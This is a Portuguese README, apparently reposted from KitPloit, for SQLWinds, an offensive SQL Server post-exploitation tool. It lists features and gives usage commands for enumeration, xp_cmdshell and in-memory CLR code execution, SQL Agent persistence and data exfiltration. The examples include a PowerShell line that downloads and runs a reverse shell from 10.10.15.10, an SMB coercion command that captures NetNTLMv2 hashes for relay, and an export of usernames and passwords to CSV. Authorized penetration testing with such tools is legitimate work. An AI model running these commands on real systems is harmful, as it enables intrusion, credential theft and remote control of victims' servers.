SQLWinds

Kit de Avaliação de Segurança SQL e Pós-Exploração

SQLWinds é uma ferramenta de linha de comando para testes de segurança e exploração do Microsoft SQL Server. Ela fornece um ambiente interativo para analisar profundamente servidores, elevar privilégios, executar ataques e fazer pivô em redes, tudo com comandos especializados para tarefas como execução de código em memória e exploração de banco de dados SCCM.

📖 Documentação e Recursos

Links rápidos:

• Documentação Completa e Wiki - Guia de uso completo e referência de comandos
• Reportar um Problema - Encontrou um bug ou tem uma solicitação de recurso?
• Última Versão - Baixe a versão mais recente

Recursos

• Autenticação Diversificada: Suporta autenticação SQL, Integrada do Windows (--integrated) e delegação Kerberos (--kerberos com --user/--pass).
• Enumeração Abrangente:
  • Informações do servidor, bancos de dados, tabelas, colunas, usuários e permissões.
  • Auditoria de configuração de segurança (xp_cmdshell, CLR, OLE, etc.).
  • Descoberta de dados sensíveis e extração de segredos.
  • Enumeração e exploração de servidores vinculados.
• Pós-Exploração e Movimentação Lateral:
  • Execução de Código: Habilitar e usar xp_cmdshell, Procedimentos de Automação OLE (sp_oacreate) e integração CLR.
  • CLR em Memória: Carregar e executar assemblies .NET diretamente da memória sem gravar arquivos em disco (:memclr).
  • Roubo de Credenciais: Forçar autenticação SMB em um caminho UNC para ataques de relay (:unc_smb).
  • Interação com o Registro: Ler chaves e valores do registro via xp_regread.
  • Persistência: Criar, listar e executar Trabalhos do SQL Agent.

Instalação e Compilação

Compilação Rápida

O repositório inclui um script build.bat para compilação fácil no Windows:

.\build.bat

O executável SQLWinds.exe compilado será colocado no diretório bin\Release\.

Compilação Manual

1. Certifique-se de ter o .NET Framework (≥ 4.6.1) ou o .NET SDK instalado.
2. Clone o repositório:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. Compile a solução:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

Uso

Conexão Básica

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

Opções Comuns de Linha de Comando

Modo REPL Interativo

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

Referência Completa de Comandos REPL

Exemplo: Usando :plain para Scripts Grandes

O comando :plain é essencial para executar scripts SQL grandes e multilinha.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. Digite :plain e pressione Enter.
2. Cole ou digite seu script SQL completo.
3. Em uma nova linha, digite :execute para executar o script inteiro ou :cancel para abortar.

Exemplos

1. Auditoria

SQLWinds.exe --server dc01 --integrated --security-audit 

2. Usando xp_cmdshell para Execução de Código

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. Execução CLR em Memória (Sem Arquivos)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. Roubando Hashes NetNTLMv2 via SRelay

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. Exploração do Banco de Dados SCCM

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. Exfiltração de Dados

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 Contribuição e Suporte

Aceitamos contribuições! Se você tem ideias de melhorias ou encontrar algum problema:

1. Consulte a Wiki para documentação
2. Pesquise nas Issues existentes para evitar duplicatas
3. Crie uma nova issue com informações detalhadas sobre sua sugestão ou relatório de bug

⚠️ Aviso Legal

Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.

Créditos

Desenvolvido por blue0x1.